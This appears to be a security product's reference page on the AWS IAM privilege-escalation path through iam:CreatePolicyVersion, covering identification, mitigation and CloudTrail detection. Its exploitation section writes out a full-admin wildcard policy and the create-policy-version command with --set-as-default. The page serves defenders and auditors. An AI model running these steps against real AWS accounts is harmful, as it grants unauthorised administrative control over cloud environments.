AWS_CREATE_POLICY_VERSION

Copy page

Summary


Forestall ACL Alias	AWS_CREATE_POLICY_VERSION
Edge Type	Attack Path
Affected Object Types	IAM Users, IAM Roles, Customer Managed Policies
Exploitation Certainty	Certain
AWS IAM Action / Condition	`iam:CreatePolicyVersion` on target customer-managed policy ARN; critical when attacker can set the new version as default

Description

AWS_CREATE_POLICY_VERSION is the ability to create a new version of an existing customer-managed IAM policy.

This is a high-impact escalation path. An attacker can add broad permissions (for example Action: "*", Resource: "*") to a new policy version, set it as default immediately or later through AWS_SET_DEFAULT_POLICY_VERSION, and inherit those permissions through every user, role, and group already attached to the policy.

The attachment graph usually exists before the attack starts. Swapping the policy content via a new version can produce instant, large-scale privilege expansion.

Identification

AWS CLI

Check whether a principal can create policy versions for a target policy:

aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/AnalystUser \
  --action-names iam:CreatePolicyVersion \
  --resource-arns arn:aws:iam::123456789012:policy/TargetPolicy

Inspect target policy versions:

aws iam get-policy \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy

aws iam list-policy-versions \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy

Exploitation

Create a malicious policy document:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

Create a new version and set it as default:

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

If --set-as-default is blocked but version creation is not, attackers can chain with AWS_SET_DEFAULT_POLICY_VERSION.

Mitigation

Restrict iam:CreatePolicyVersion to tightly controlled automation identities.
Scope the permission to explicit policy ARNs, not wildcards.
Use permission boundaries and SCPs to block broad policy version manipulation.
Remove unused customer-managed policies and stale delegations.
Require an approval workflow for policy version changes.

Detection

Monitor policy version creation in CloudTrail:

Event source: iam.amazonaws.com
Event name: CreatePolicyVersion
High-signal indicator: requestParameters.setAsDefault = true

Example lookup:

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreatePolicyVersion

Ask AI